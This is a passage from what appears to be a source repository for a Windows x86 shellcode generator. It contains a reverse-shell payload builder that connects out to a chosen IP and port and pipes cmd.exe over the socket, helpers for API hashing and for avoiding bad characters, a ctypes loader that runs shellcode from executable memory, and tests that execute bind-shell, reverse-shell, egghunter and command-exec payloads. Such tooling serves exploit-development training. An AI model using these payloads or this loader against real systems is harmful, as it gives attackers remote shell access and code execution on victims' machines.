convert_ip_addr_bytes, 4 | convert_port_hex, 5 | find_hash_key, 6 | push_hash, 7 | push_string, 8 | ) 9 | 10 | 11 | def generate(ip_addr, port, bad_chars, exit_func, debug=False): 12 | ip_addr_bytes = convert_ip_addr_bytes(ip_addr) 13 | port_hex = convert_port_hex(port) 14 | hash_key = find_hash_key( 15 | [ 16 | ("KERNEL32.DLL", "LoadLibraryA"), 17 | ("WS2_32.DLL", "WSAStartup"), 18 | ("WS2_32.DLL", "WSASocketA"), 19 | ("WS2_32.DLL", "WSAConnect"), 20 | ("KERNEL32.DLL", "CreateProcessA"), 21 | ] 22 | + ([exit_func] if exit_func else []), 23 | bad_chars, 24 | ) 25 | 26 | return f""" 27 | start: 28 | {'int3' if debug else ''} // Breakpoint for Windbg 29 | mov ebp, esp 30 | add esp, 0xfffff9f0 // Avoid NULL bytes 31 | 32 | {find_and_call.generate(hash_key)} 33 | 34 | load_ws2_32: // HMODULE LoadLibraryA([in] LPCSTR lpLibFileName); 35 | {push_string('WS2_32.DLL', bad_chars)} 36 | push esp // lpLibFileName = &("ws2_32.dll") 37 | {push_hash('KERNEL32.DLL', 'LoadLibraryA', hash_key)} 38 | call dword ptr [ebp+0x04] // Call LoadLibraryA 39 | 40 | call_wsastartup: // int WSAStartup(WORD wVersionRequired, [out] LPWSADATA lpWSAData); 41 | mov eax, esp // eax = esp 42 | xor ecx, ecx // ecx = 0 43 | mov cx, 0x590 // ecx = 0x590 44 | sub eax, ecx // Substract CX from EAX to avoid overwriting the structure later 45 | push eax // lpWSAData = &(lpwsadata) (esp - 0x590) 46 | xor eax, eax // eax = 0 47 | mov ax, 0x0202 // eax = 0x202 48 | push eax // wVersionRequired = 0x202 49 | {push_hash('WS2_32.DLL', 'WSAStartup', hash_key)} 50 | call dword ptr [ebp+0x04] // Call WSAStartup 51 | 52 | call_wsasocketa: // SOCKET WSAAPI WSASocketA([in] int af, [in] int type, [in] int protocol, [in] LPWSAPROTOCOL_INFOA lpProtocolInfo, [in] GROUP g, [in] DWORD dwFlags); 53 | xor eax, eax // EAX = 0 54 | push eax // dwFlags = NULL 55 | push eax // g = NULL 56 | push eax // lpProtocolInfo = NULL 57 | mov al, 0x06 // eax = 0x6 58 | push eax // protocol = 0x6 59 | sub al, 0x05 // eax = 0x1 60 | push eax // type = 0x1 61 | inc eax // eax = 0x2 62 | push eax // eax = 0x2 63 | {push_hash('WS2_32.DLL', 'WSASocketA', hash_key)} 64 | call dword ptr [ebp+0x04] // Call WSASocketA 65 | mov esi, eax // esi = sock 66 | 67 | create_sockaddr_in: // typedef struct sockaddr_in {{ADDRESS_FAMILY sin_family = AF_INET (0x2); USHORT sin_port; IN_ADDR sin_addr = 0; CHAR sin_zero[8];}} 68 | xor eax, eax // eax = 0 69 | push eax // sin_zero[4:8] = NULL 70 | push eax // sin_zero[0:4] = NULL 71 | {push_string(ip_addr_bytes, bad_chars, end=b'')} 72 | mov ax, {port_hex} // eax = port 73 | shl eax, 0x10 // eax = (port << 0x10) 74 | add ax, 0x02 // eax = (port << 0x10) + 0x2 75 | push eax // sin_port = port; sin_family = 0x2 76 | push esp // Set &(sockaddr_in) 77 | pop edi // edi = &(sockaddr_in) 78 | 79 | call_wsaconnect: // int WSAAPI WSAConnect([in] SOCKET s, [in] const sockaddr *name, [in] int namelen, [in] LPWSABUF lpCallerData, [out] LPWSABUF lpCalleeData, [in] LPQOS lpSQOS, [in] LPQOS lpGQOS); 80 | xor eax, eax // eax = 0 81 | push eax // lpGQOS = NULL 82 | push eax // lpSQOS = NULL 83 | push eax // lpCalleeData = NULL 84 | push eax // lpCallerData = NULL 85 | add al, 0x10 // eax = 0x10 86 | push eax // namelen = 0x10 87 | push edi // *name = &(sockaddr_in) 88 | push esi // s = sock 89 | {push_hash('WS2_32.DLL', 'WSAConnect', hash_key)} 90 | call dword ptr [ebp+0x04] // Call WSAConnect 91 | 92 | create_startupinfoa: // typedef struct _STARTUPINFOA {{DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError;}} 93 | push esi // hStdError = sock 94 | push esi // hStdOutput = sock 95 | push esi // hStdInput = sock 96 | xor eax, eax // eax = NULL 97 | lea ecx, [eax + 0xd] // ecx = loop limit 98 | 99 | create_startupinfoa_push_loop: 100 | push eax // Set NULL dword 101 | loop create_startupinfoa_push_loop // ecx = 0xd; do {{ecx--; ...}} while (ecx > 0) 102 | mov al, 0x44 // eax = 0x44 103 | push eax // cb = 0x44 104 | push esp // Set &(startupinfoa) 105 | pop edi // edi = &(startupinfoa) 106 | mov word ptr [edi + 4*11], 0x101 // dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW 107 | 108 | create_cmd_string: 109 | {push_string('cmd.exe', bad_chars)} 110 | mov ebx, esp 111 | 112 | call_createprocessa: // BOOL CreateProcessA([in, optional] LPCSTR lpApplicationName, [in, out, optional] LPSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCSTR lpCurrentDirectory, [in] LPSTARTUPINFOA lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation) 113 | mov eax, esp // Move ESP to EAX 114 | xor ecx, ecx // ecx = 0 115 | mov cx, 0x390 // ecx = 0x390 116 | sub eax, ecx // eax = &(processinformation) (esp - 0x390) 117 | push eax // lpProcessInformation = &(processinformation) 118 | push edi // lpStartupInfo = &(startupinfoa) 119 | xor eax, eax // EAX = 0 120 | push eax // lpCurrentDirectory = NULL 121 | push eax // lpEnvironment = NULL 122 | push eax // dwCreationFlags = NULL 123 | inc eax // eax = true 124 | push eax // bInheritHandles = true 125 | dec eax // EAX = 0 126 | push eax // lpThreadAttributes = NULL 127 | push eax // lpProcessAttributes = NULL 128 | push ebx // lpCommandLine = &("cmd.exe") 129 | push eax // lpApplicationName = NULL 130 | {push_hash("KERNEL32.DLL", 'CreateProcessA', hash_key)} 131 | call dword ptr [ebp+0x04] // Call CreateProcessA 132 | 133 | {call_exit_func.generate(exit_func, hash_key)} 134 | """ 135 | -------------------------------------------------------------------------------- /coder/util.py: -------------------------------------------------------------------------------- 1 | DEFAULT_HASH_KEY = 0xE 2 | 3 | 4 | def convert_ip_addr_bytes(ip_addr): 5 | import ipaddress 6 | 7 | return int(ipaddress.IPv4Address(ip_addr)).to_bytes(4, "big") 8 | 9 | 10 | def convert_port_hex(port): 11 | return hex(int.from_bytes(int(port).to_bytes(2, "little"), "big")) 12 | 13 | 14 | def convert_tag_hex(tag): 15 | assert len(tag) == 8 and tag[:4] == tag[4:] 16 | return hex(int.from_bytes(tag[:4].encode(), "little")) 17 | 18 | 19 | def convert_neg(dword): 20 | return ((-int.from_bytes(dword, "little")) & 0xFFFFFFFF).to_bytes(4, "little") 21 | 22 | 23 | def ror(byte, count): 24 | count %= 0x20 25 | return ((byte << (0x20 - count)) | (byte >> count)) & 0xFFFFFFFF 26 | 27 | 28 | def compute_hash(module_name, function_name, key): 29 | hash = (len(module_name) + 1) * 2 30 | for c in function_name: 31 | hash = ror(hash, key) + ord(c) 32 | return hash 33 | 34 | 35 | def push_hash(module_name, function_name, key=DEFAULT_HASH_KEY): 36 | hash = compute_hash(module_name, function_name, key) 37 | return f"push {hex(hash)};" 38 | 39 | 40 | def find_hash_key(functions, bad_chars): 41 | for key in range(0x20): 42 | if not any( 43 | any( 44 | c in bad_chars 45 | for c in compute_hash(m_name, f_name, key).to_bytes(4, "little") 46 | ) 47 | for m_name, f_name in functions 48 | ): 49 | while key in bad_chars: 50 | key += 0x20 51 | return key 52 | 53 | print( 54 | f"# Cannot find a good hash key, use default key ({hex(DEFAULT_HASH_KEY)}) to compute hash" 55 | ) 56 | return DEFAULT_HASH_KEY 57 | 58 | 59 | def push_string(input_str, bad_chars, end=b"\x00"): 60 | def gen_push_code(dword): 61 | if not any(c in bad_chars for c in dword): 62 | return f'push {hex(int.from_bytes(dword, "little"))};' 63 | 64 | def gen_neg_code(dword): 65 | neg_dword = convert_neg(dword) 66 | if not any(c in bad_chars for c in neg_dword): 67 | return ( 68 | f'mov eax, {hex(int.from_bytes(neg_dword, "little"))};' 69 | f"neg eax;" 70 | f"push eax;" 71 | ) 72 | 73 | def gen_xor_code(dword): 74 | xor_dword_1 = xor_dword_2 = b"" 75 | for i in range(4): 76 | for xor_byte_1 in range(256): 77 | xor_byte_2 = dword[i] ^ xor_byte_1 78 | if (xor_byte_1 not in bad_chars) and (xor_byte_2 not in bad_chars): 79 | xor_dword_1 += bytes([xor_byte_1]) 80 | xor_dword_2 += bytes([xor_byte_2]) 81 | break 82 | else: 83 | return None 84 | 85 | return ( 86 | f'mov eax, {hex(int.from_bytes(xor_dword_1, "little"))};' 87 | f'xor eax, {hex(int.from_bytes(xor_dword_2, "little"))};' 88 | f"push eax;" 89 | ) 90 | 91 | input_bytes = input_str.encode() if type(input_str) is str else input_str 92 | input_bytes += end 93 | 94 | code = "" 95 | for i in range(0, len(input_bytes), 4)[::-1]: 96 | pad_byte = [c for c in range(256) if c not in bad_chars][0] 97 | dword = input_bytes[i : i + 4] 98 | dword += bytes([pad_byte]) * (4 - len(dword)) 99 | 100 | new_code = gen_push_code(dword) 101 | if not new_code: 102 | new_code = gen_neg_code(dword) 103 | if not new_code: 104 | new_code = gen_xor_code(dword) 105 | if not new_code: 106 | raise Exception(f"cannot push dword: {dword}") 107 | code += new_code 108 | 109 | return code 110 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | capstone 2 | keystone-engine 3 | -------------------------------------------------------------------------------- /runner/__init__.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | 3 | 4 | def load_shellcode(shellcode): 5 | ptr = ctypes.windll.kernel32.VirtualAlloc( 6 | ctypes.c_int(0), 7 | ctypes.c_int(len(shellcode)), 8 | ctypes.c_int(0x3000), 9 | ctypes.c_int(0x40), 10 | ) 11 | 12 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 13 | 14 | ctypes.windll.kernel32.RtlMoveMemory( 15 | ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)) 16 | ) 17 | return ptr 18 | 19 | 20 | def run_shellcode(ptr, wait=True): 21 | ht = ctypes.windll.kernel32.CreateThread( 22 | ctypes.c_int(0), 23 | ctypes.c_int(0), 24 | ctypes.c_int(ptr), 25 | ctypes.c_int(0), 26 | ctypes.c_int(0), 27 | ctypes.pointer(ctypes.c_int(0)), 28 | ) 29 | if wait: 30 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) 31 | -------------------------------------------------------------------------------- /stones/__init__.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from stones.replace_instruction import replace_insn 4 | 5 | 6 | def assemble(asm): 7 | from keystone import KS_ARCH_X86, KS_MODE_32, Ks 8 | 9 | ks = Ks(KS_ARCH_X86, KS_MODE_32) 10 | encoding, _ = ks.asm(asm) 11 | if encoding: 12 | return bytearray(encoding) 13 | 14 | 15 | def disassemble(shellcode): 16 | from capstone import CS_ARCH_X86, CS_MODE_32, Cs 17 | 18 | cs = Cs(CS_ARCH_X86, CS_MODE_32) 19 | return cs.disasm(shellcode, 0) 20 | 21 | 22 | def find_bad_chars(instructions, bad_chars): 23 | asm = [] 24 | for insn in instructions: 25 | found_bad_char = False 26 | bytecode = "" 27 | for b in insn.bytes: 28 | if b in bad_chars: 29 | found_bad_char = True 30 | bytecode += "%02x" % b 31 | asm.append((found_bad_char, bytecode, insn.mnemonic, insn.op_str)) 32 | pad_length = max(map(lambda x: len(x[1]), asm)) + 1 33 | 34 | result = [] 35 | for found_bad_char, bytecode, mnemonic, op_str in asm: 36 | bad_char_mark = "[x]" if found_bad_char else "[ ]" 37 | padded_bytecode = bytecode + " " * (pad_length - len(bytecode)) 38 | result.append(f"{bad_char_mark} {padded_bytecode}: {mnemonic} {op_str}") 39 | return "\n".join(result) 40 | 41 | 42 | def replace_instructions(code, bad_chars): 43 | new_code = [] 44 | 45 | code = "\n".join(map(lambda x: x.split("//")[0], code.split("\n"))) 46 | for insn_str in re.split(r"[\n\r;]", code): 47 | new_insn_str = replace_insn(insn_str, bad_chars) 48 | new_code.append(new_insn_str if new_insn_str else insn_str) 49 | 50 | return "\n".join(new_code) 51 | -------------------------------------------------------------------------------- /stones/replace_instruction.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from keystone.keystone import KsError 4 | 5 | import stones 6 | 7 | ARITHMETIC_MNEMONICS = ["add", "adc", "sub", "sbb"] 8 | MOVE_MNEMONICS = ["mov", "movzx", "movsx", "lea"] 9 | 10 | SRC_PTR_PATTERN = re.compile(r"(\w+),\s*(byte|word|dword)?\s*(ptr)?\s*(\w+:)?\[(.+?)\]") 11 | DST_PTR_PATTERN = re.compile(r"(byte|word|dword)?\s*(ptr)?\s*(\w+:)?\[(.+?)\],\s*(\w+)") 12 | 13 | 14 | def create_replaced_insn_str(adjust, adjusted_insn_str, ptr_reg, no_after_incdec): 15 | new_insn_str = "" 16 | for _ in range(abs(adjust)): 17 | new_insn_str += f"\n{'dec' if adjust > 0 else 'inc'} {ptr_reg}" 18 | 19 | new_insn_str += f"\n{adjusted_insn_str}" 20 | 21 | if not no_after_incdec: 22 | for _ in range(abs(adjust)): 23 | new_insn_str += f"\n{'inc' if adjust > 0 else 'dec'} {ptr_reg}" 24 | return new_insn_str 25 | 26 | 27 | def replace_with_incdec( 28 | adjust, adjusted_insn_str, mnemonic, ptr_reg, op_reg, bad_chars, ptr_is_src 29 | ): 30 | is_same_reg = ptr_reg.strip(" +-") == op_reg.strip(" +-") 31 | is_arithmetic = mnemonic in ARITHMETIC_MNEMONICS 32 | 33 | if is_same_reg: 34 | if not ptr_is_src: 35 | # example: mov [eax + 0x20], eax 36 | return None 37 | if mnemonic not in (MOVE_MNEMONICS + ARITHMETIC_MNEMONICS): 38 | return None 39 | 40 | new_insn_str = create_replaced_insn_str( 41 | adjust, 42 | adjusted_insn_str, 43 | ptr_reg, 44 | no_after_incdec=is_same_reg and not is_arithmetic, 45 | ) 46 | 47 | new_shellcode = stones.assemble(new_insn_str) 48 | if not any(c in bad_chars for c in new_shellcode): 49 | return new_insn_str 50 | 51 | return None 52 | 53 | 54 | def find_adjust(add_ptr, bad_chars): 55 | for i in range(1, 0x100 // 2): 56 | if (add_ptr + i) not in bad_chars and (add_ptr + i) < 0x100: 57 | return i 58 | elif ((add_ptr - i) & 0xFF) not in bad_chars: 59 | return -i 60 | 61 | 62 | def parse_op_ptr(op_ptr, bad_chars): 63 | ptr_regs, nums = [], [] 64 | for add_ptr in re.findall(r"([+-]?\s*\w+)", op_ptr): 65 | add_ptr = add_ptr.replace(" ", "") 66 | try: 67 | nums.append(int(add_ptr, 16) if "0x" in add_ptr else int(add_ptr, 10)) 68 | except ValueError as e: 69 | ptr_regs.append(add_ptr[1:] if add_ptr[0] == "+" else add_ptr) 70 | 71 | add_ptr = nums[0] & 0xFF 72 | if add_ptr in bad_chars: 73 | return ptr_regs, add_ptr 74 | 75 | return None, None 76 | 77 | 78 | def parse_insn(mnemonic, op_str): 79 | template = op_ptr = op_reg = ptr_is_src = None 80 | 81 | src_ptr_result = SRC_PTR_PATTERN.search(op_str) 82 | if src_ptr_result: 83 | op_reg, dat_type, is_ptr, seg_reg, op_ptr = map( 84 | lambda x: x if x else "", src_ptr_result.groups() 85 | ) 86 | template = f"{mnemonic} {op_reg}, {dat_type} {is_ptr} {seg_reg}[{{}}]" 87 | ptr_is_src = True 88 | 89 | dst_ptr_result = DST_PTR_PATTERN.search(op_str) 90 | if dst_ptr_result: 91 | dat_type, is_ptr, seg_reg, op_ptr, op_reg = map( 92 | lambda x: x if x else "", dst_ptr_result.groups() 93 | ) 94 | template = f"{mnemonic} {dat_type} {is_ptr} {seg_reg}[{{}}], {op_reg}" 95 | ptr_is_src = False 96 | 97 | return template, op_ptr, op_reg, ptr_is_src 98 | 99 | 100 | def create_new_insn_str(mnemonic, op_str, bad_chars): 101 | template, op_ptr, op_reg, ptr_is_src = parse_insn(mnemonic, op_str) 102 | if not template: 103 | return None 104 | 105 | ptr_regs, add_ptr = parse_op_ptr(op_ptr, bad_chars) 106 | if not ptr_regs: 107 | return None 108 | 109 | adjust = find_adjust(add_ptr, bad_chars) 110 | if adjust is None: 111 | return None 112 | 113 | new_op = f"{'+'.join(ptr_regs)}{'%#+x' % (add_ptr + adjust)}" 114 | adjusted_insn_str = f"{template.format(new_op)}" 115 | 116 | for ptr_reg in ptr_regs: 117 | new_insn_str = replace_with_incdec( 118 | adjust, adjusted_insn_str, mnemonic, ptr_reg, op_reg, bad_chars, ptr_is_src 119 | ) 120 | if new_insn_str: 121 | return new_insn_str 122 | 123 | return None 124 | 125 | 126 | def replace_insn(insn_str, bad_chars): 127 | insn_str = insn_str.strip() 128 | 129 | try: 130 | insn_bytes = stones.assemble(insn_str) 131 | except KsError as e: 132 | return None 133 | if not insn_bytes: 134 | return None 135 | if not any(c in bad_chars for c in insn_bytes): 136 | return None 137 | if " " not in insn_str: 138 | return None 139 | 140 | mnemonic = insn_str[: insn_str.index(" ")].strip() 141 | op_str = insn_str[insn_str.index(" ") :].strip() 142 | return create_new_insn_str(mnemonic, op_str, bad_chars) 143 | -------------------------------------------------------------------------------- /tests/test_bind_shell.py: -------------------------------------------------------------------------------- 1 | import random 2 | import socket 3 | import time 4 | import unittest 5 | 6 | import stones 7 | from coder import bind_shell 8 | from runner import load_shellcode, run_shellcode 9 | 10 | 11 | def test_bind_shell_shellcode(shellcode, port): 12 | ptr = load_shellcode(shellcode) 13 | run_shellcode(ptr, wait=False) 14 | 15 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 16 | s.connect(("127.0.0.1", port)) 17 | 18 | s.send(b"echo p^w^n^e^d\r\n") 19 | time.sleep(0.5) 20 | 21 | resp = s.recv(0x1000) 22 | s.send(b"exit\r\n") 23 | 24 | return b"pwned" in resp 25 | 26 | 27 | class TestBindShell(unittest.TestCase): 28 | def test_run_shellcode(self): 29 | port = random.randint(49152, 65535) 30 | bad_chars = b"\x00" 31 | 32 | code = bind_shell.generate( 33 | port, 34 | bad_chars=bad_chars, 35 | exit_func=("ntdll.dll", "RtlExitUserThread"), 36 | debug=False, 37 | ) 38 | shellcode = stones.assemble(code) 39 | self.assertFalse(any(c in bad_chars for c in shellcode)) 40 | 41 | self.assertTrue(test_bind_shell_shellcode(shellcode, port)) 42 | 43 | def test_run_replaced_shellcode(self): 44 | port = random.randint(49152, 65535) 45 | bad_chars = b"\x00\x08\x09\x0A\x0B\x0D\x20\x23\x25\x26\x2E\x2F\x3D\x3F\x5C" 46 | 47 | code = bind_shell.generate( 48 | port, 49 | bad_chars=bad_chars, 50 | exit_func=("ntdll.dll", "RtlExitUserThread"), 51 | debug=False, 52 | ) 53 | replaced_code = stones.replace_instructions(code, bad_chars) 54 | shellcode = stones.assemble(replaced_code) 55 | self.assertFalse(any(c in bad_chars for c in shellcode)) 56 | 57 | self.assertTrue(test_bind_shell_shellcode(shellcode, port)) 58 | -------------------------------------------------------------------------------- /tests/test_egghunter.py: -------------------------------------------------------------------------------- 1 | import random 2 | import socket 3 | import time 4 | import unittest 5 | 6 | from coder import egghunter, reverse_shell 7 | from runner import load_shellcode, run_shellcode 8 | from stones import assemble 9 | 10 | 11 | def test_egghunter_with_reverse_shell(egghunter_generate): 12 | port = random.randint(49152, 65535) 13 | 14 | code = reverse_shell.generate( 15 | "127.0.0.1", 16 | port, 17 | bad_chars=b"\x00", 18 | exit_func=("ntdll.dll", "RtlExitUserThread"), 19 | debug=False, 20 | ) 21 | 22 | shellcode = bytearray([0] * 8) + assemble(code) 23 | 24 | t1, t2, t3 = b"w00", b"tw0", b"0t" 25 | shellcode[0], shellcode[1], shellcode[2] = t1[0], t1[1], t1[2] 26 | shellcode[3], shellcode[4], shellcode[5] = t2[0], t2[1], t2[2] 27 | shellcode[6], shellcode[7] = t3[0], t3[1] 28 | 29 | load_shellcode(shellcode) 30 | for i in range(len(shellcode)): 31 | shellcode[i] = 0x0 32 | 33 | egghunter_code = egghunter_generate((t1 + t2 + t3).decode(), debug=False) 34 | egghunter_shellcode = assemble(egghunter_code) 35 | 36 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 37 | s.bind(("0.0.0.0", port)) 38 | s.listen() 39 | 40 | ptr = load_shellcode(egghunter_shellcode) 41 | run_shellcode(ptr, wait=False) 42 | 43 | client_s, _ = s.accept() 44 | 45 | client_s.send(b"echo p^w^n^e^d\r\n") 46 | time.sleep(0.5) 47 | 48 | resp = client_s.recv(0x1000) 49 | client_s.send(b"exit\r\n") 50 | client_s.close() 51 | 52 | return b"pwned" in resp 53 | 54 | 55 | class TestEgghunter(unittest.TestCase): 56 | def test_ntaccess_egghunter(self): 57 | result = test_egghunter_with_reverse_shell(egghunter.generate_ntaccess) 58 | self.assertTrue(result) 59 | 60 | # SEH egghunter could not be tested because SafeSEH is enabled in Python binary 61 | # def test_seh_egghunter(self): 62 | # pass 63 | -------------------------------------------------------------------------------- /tests/test_exec_command.py: -------------------------------------------------------------------------------- 1 | import random 2 | import socket 3 | import time 4 | import unittest 5 | 6 | import stones 7 | from coder import exec_command 8 | from runner import load_shellcode, run_shellcode 9 | 10 | 11 | def test_exec_command_shellcode(shellcode, port): 12 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 13 | s.bind(("0.0.0.0", port)) 14 | s.listen() 15 | 16 | ptr = load_shellcode(shellcode) 17 | run_shellcode(ptr, wait=True) 18 | time.sleep(1) 19 | 20 | client_s, _ = s.accept() 21 | 22 | resp = client_s.recv(0x1000) 23 | client_s.send(b"HTTP/1.1 200 OK\r\n\r\n") 24 | client_s.close() 25 | 26 | return b"GET /pwned HTTP/1.1" in resp 27 | 28 | 29 | class TestExecCommand(unittest.TestCase): 30 | def test_run_shellcode(self): 31 | port = random.randint(49152, 65535) 32 | bad_chars = b"\x00" 33 | 34 | code = exec_command.generate( 35 | cmd=f"powershell -c curl http://127.0.0.1:{port}/pwned | Out-Null", 36 | bad_chars=bad_chars, 37 | exit_func=("ntdll.dll", "RtlExitUserThread"), 38 | debug=False, 39 | ) 40 | shellcode = stones.assemble(code) 41 | self.assertFalse(any(c in bad_chars for c in shellcode)) 42 | 43 | self.assertTrue(test_exec_command_shellcode(shellcode, port)) 44 | 45 | def test_run_replaced_shellcode(self): 46 | port = random.randint(49152, 65535) 47 | bad_chars = b"\x00\x08\x09\x0A\x0B\x0D\x20\x23\x25\x26\x2E\x2F\x3D\x3F\x5C" 48 | 49 | code = exec_command.generate( 50 | cmd=f"powershell -c curl http://127.0.0.1:{port}/pwned | Out-Null", 51 | bad_chars=bad_chars, 52 | exit_func=("ntdll.dll", "RtlExitUserThread"), 53 | debug=False, 54 | ) 55 | replaced_code = stones.replace_instructions(code, bad_chars) 56 | shellcode = stones.assemble(replaced_code) 57 | self.assertFalse(any(c in bad_chars for c in shellcode)) 58 | 59 | self.assertTrue(test_exec_command_shellcode(shellcode, port)) 60 | -------------------------------------------------------------------------------- /tests/test_replace_instructions.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | import stones 4 | 5 | 6 | class TestReplaceInstructions(unittest.TestCase): 7 | def test_replace_instructions(self): 8 | for args, expect in [ 9 | ( 10 | ("mov dword ptr [eax + 0x20], ebx", b""), 11 | "mov dword ptr [eax + 0x20], ebx", 12 | ), 13 | ( 14 | ("mov dword ptr [ebx + 0x20], ecx", b"\x20"), 15 | "dec ebx;mov dword ptr [ebx+0x21], ecx;inc ebx", 16 | ), 17 | ( 18 | ("mov dword ptr [ecx + 0x20], edx", b"\x20\x21"), 19 | "inc ecx;mov dword ptr [ecx+0x1f], edx;dec ecx", 20 | ), 21 | ( 22 | ("mov dword ptr [edx + 0x20], esi", b"\x1F\x20\x21"), 23 | "dec edx;dec edx;mov dword ptr [edx+0x22], esi;inc edx;inc edx", 24 | ), 25 | ( 26 | ("mov dword ptr [esi + 0x20], edi", bytes(c for c in range(0x0, 0x42))), 27 | "inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;mov dword ptr [esi-0x1], edi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi", 28 | ), 29 | ( 30 | ("mov ebx, dword ptr [eax + 0x20]", b""), 31 | "mov ebx, dword ptr [eax + 0x20]", 32 | ), 33 | ( 34 | ("mov ecx, dword ptr [ebx + 0x20]", b"\x20"), 35 | "dec ebx;mov ecx, dword ptr [ebx+0x21];inc ebx", 36 | ), 37 | ( 38 | ("mov edx, dword ptr [ecx + 0x20]", b"\x20\x21"), 39 | "inc ecx;mov edx, dword ptr [ecx+0x1f];dec ecx", 40 | ), 41 | ( 42 | ("mov esi, dword ptr [edx + 0x20]", b"\x1F\x20\x21"), 43 | "dec edx;dec edx;mov esi, dword ptr [edx+0x22];inc edx;inc edx", 44 | ), 45 | ( 46 | ("mov edi, dword ptr [esi + 0x20]", bytes(c for c in range(0x0, 0x42))), 47 | "inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;inc esi;mov edi, dword ptr [esi-0x1];dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi;dec esi", 48 | ), 49 | ( 50 | ("mov eax, dword ptr [eax + 0x30]", b"\x30"), 51 | "dec eax;mov eax, dword ptr [eax+0x31]", 52 | ), 53 | ( 54 | ("lea eax, dword ptr [eax + 0x30]", b"\x30"), 55 | "dec eax;lea eax, dword ptr [eax+0x31]", 56 | ), 57 | ( 58 | ("add eax, dword ptr [eax + 0x30]", b"\x30"), 59 | "dec eax;add eax, dword ptr [eax+0x31];inc eax", 60 | ), 61 | ( 62 | ("sub eax, dword ptr [eax + 0x30]", b"\x30"), 63 | "dec eax;sub eax, dword ptr [eax+0x31];inc eax", 64 | ), 65 | ( 66 | ("adc eax, dword ptr [eax + 0x30]", b"\x30"), 67 | "dec eax;adc eax, dword ptr [eax+0x31];inc eax", 68 | ), 69 | ( 70 | ("sbb eax, dword ptr [eax + 0x30]", b"\x30"), 71 | "dec eax;sbb eax, dword ptr [eax+0x31];inc eax", 72 | ), 73 | ( 74 | ("movzx eax, byte ptr [eax + 0x30]", b"\x30"), 75 | "dec eax;movzx eax, byte ptr [eax+0x31]", 76 | ), 77 | ( 78 | ("movsx eax, byte ptr [eax + 0x30]", b"\x30"), 79 | "dec eax;movsx eax, byte ptr [eax+0x31]", 80 | ), 81 | ( 82 | ("mov dword ptr [eax + ebx + 0x30], eax", b"\x30"), 83 | "dec ebx;mov dword ptr [eax+ebx+0x31], eax;inc ebx", 84 | ), 85 | ( 86 | ("mov eax, dword ptr [eax + ebx + 0x30]", b"\x30"), 87 | "dec eax;mov eax, dword ptr [eax+ebx+0x31]", 88 | ), 89 | ]: 90 | actual = stones.replace_instructions(args[0], args[1]) 91 | joined_actual = ";".join(actual.strip().split("\n")) 92 | self.assertEqual(joined_actual, expect) 93 | -------------------------------------------------------------------------------- /tests/test_revese_shell.py: -------------------------------------------------------------------------------- 1 | import random 2 | import socket 3 | import time 4 | import unittest 5 | 6 | import stones 7 | from coder import reverse_shell 8 | from runner import load_shellcode, run_shellcode 9 | 10 | 11 | def test_reverse_shell_shellcode(shellcode, port): 12 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 13 | s.bind(("0.0.0.0", port)) 14 | s.listen() 15 | 16 | ptr = load_shellcode(shellcode) 17 | run_shellcode(ptr, wait=False) 18 | 19 | client_s, _ = s.accept() 20 | 21 | client_s.send(b"echo p^w^n^e^d\r\n") 22 | time.sleep(0.5) 23 | 24 | resp = client_s.recv(0x1000) 25 | client_s.send(b"exit\r\n") 26 | client_s.close() 27 | 28 | return b"pwned" in resp 29 | 30 | 31 | class TestReverseShell(unittest.TestCase): 32 | def test_run_shellcode(self): 33 | port = random.randint(49152, 65535) 34 | bad_chars = b"\x00" 35 | 36 | code = reverse_shell.generate( 37 | "127.0.0.1", 38 | port, 39 | bad_chars=bad_chars, 40 | exit_func=("ntdll.dll", "RtlExitUserThread"), 41 | debug=False, 42 | ) 43 | shellcode = stones.assemble(code) 44 | self.assertFalse(any(c in bad_chars for c in shellcode)) 45 | 46 | self.assertTrue(test_reverse_shell_shellcode(shellcode, port)) 47 